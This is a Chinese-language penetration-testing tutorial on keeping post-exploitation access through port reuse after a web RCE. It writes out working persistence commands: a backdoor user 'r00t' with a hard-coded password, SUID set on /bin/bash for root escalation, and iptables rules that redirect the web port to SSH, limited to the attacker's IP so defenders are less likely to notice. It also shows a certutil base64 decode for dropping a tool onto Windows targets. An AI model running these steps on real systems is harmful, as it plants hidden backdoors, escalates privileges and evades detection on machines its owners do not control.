前言

在渗透过程中,如果目标主机存在命令执行(RCE)等漏洞,但无法直接访问外网,并且只将 Web 服务端口 对外开放(或映射到公网),我们可以利用 端口复用 技术,将内部服务复用到已开放的端口上,从而建立一个稳定Shell,实现对内网的持续渗透和进一步利用。

端口复用

通常情况下,当我们启动一个新的端口监听时,如果该端口已经被占用,就会出现类似如下错误:

1
Error: listen tcp 127.0.0.1:8080: bind: Only one usage of each socket address (protocol/network address/port) is normally permitted.

这是由于默认的情况下,在操作系统中,当我们尝试打开一个网络连接时,需要指定源地址和端口。如果我们试图打开一个具有与已经打开的套接字相同的源地址和端口的新套接字(socket),操作系统就会报错,因为同一个源地址和端口不能被多个套接字同时使用。这是出于网络通信的规则和限制,以确保数据传输的正确性和有序性。

换句话说,每个网络连接都需要独一无二的源地址和端口,以确保数据正确地到达目标地点。如果两个套接字尝试使用相同的源地址和端口,就会导致冲突,因此操作系统不允许这种情况发生。这样的限制有助于避免数据混乱和网络通信的混乱状态。

然而,根据TCP/IP标准,端口本身是允许复用的。绑定端口的本质是,当系统接收到一个TCP报文段或UDP数据报时,可以根据其头部的端口字段找到对应的进程,并将数据传递给相应的进程。

实验举例(Linux)

下面我将用两台kali机器分别充当攻击机和靶机进行演示实战中该如何利用端口复用

我这里在靶机上用root用户监听一个web服务,并且弄一个shell.php来充当此web服务存在一个RCE漏洞

端口利用常用过程:将ssh服务(当然不止局限ssh)复用到web服务端口上,然后创建一个后门账号,用后门账户走web服务端口连接ssh;

从下图可以看到靶机已经开了ssh服务

如果实战中没有开启 也可以手动开启

1
2
sudo systemctl start sshd   # CentOS / RHEL
sudo systemctl start ssh # Debian / Ubuntu

我们先创建一个后门账户

1
useradd r00t && echo 'r00t:whoami@123'|chpasswd

然后给”/bin/bash”加上suid权限,方便后续的渗透后门账户可以轻松切到root权限

1
chmod u+s /bin/bash

最后使用iptables去端口复用,将22端口复用到80上

1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 22

最后使用后门账号走80端口连上SSH服务拿到一个稳定的shell;利用我们之前留下的提权后门拿到root权限;后续想上传漏扫和代理工具也可以走scp

到这里端口复用利用就结束了,就这么简单;

继续思考 会发现这样去利用有一个缺陷;导致原 Web 服务不可用,在打攻防的时候 如果影响了业务正常的运行需要提前向裁判提攻击申请,这样不但麻烦 而且web服务访问不到了也容易被防守方发现;

也很容易解决这个问题,就是只指定对应的源ip对端口复用这条策略生效就可以了

1
iptables -t nat -A PREROUTING -p tcp -s your_ip --dport 80 -j REDIRECT --to-port 22

最后附上删除策略的命令吧

1
iptables -t nat -D PREROUTING -p tcp -s your_ip --dport 80 -j REDIRECT --to-port 22

注意:如果是内网主机通过端口映射暴露到公网,那么需要复用的端口是 内网原始服务端口,而不是公网映射出的端口。

例如:

  • 公网 8080 → 内网 80
    那么需要将 SSH 复用到 80 上,而不是 8080。

Windows下利用

windows没有像linux那样自带的iptables工具可以实现端口复用,可以使用这个工具:https://github.com/p1d3er/port_reuse

至于怎么将port_reuse上传到目标机就得看具体情况了,也行可以先将”port_reuse”base64编码 然后通过echo命令分段写到一个文件里,最后使用certutil.exe 去base64解码

1
certutil -f -decode result.txt port.exe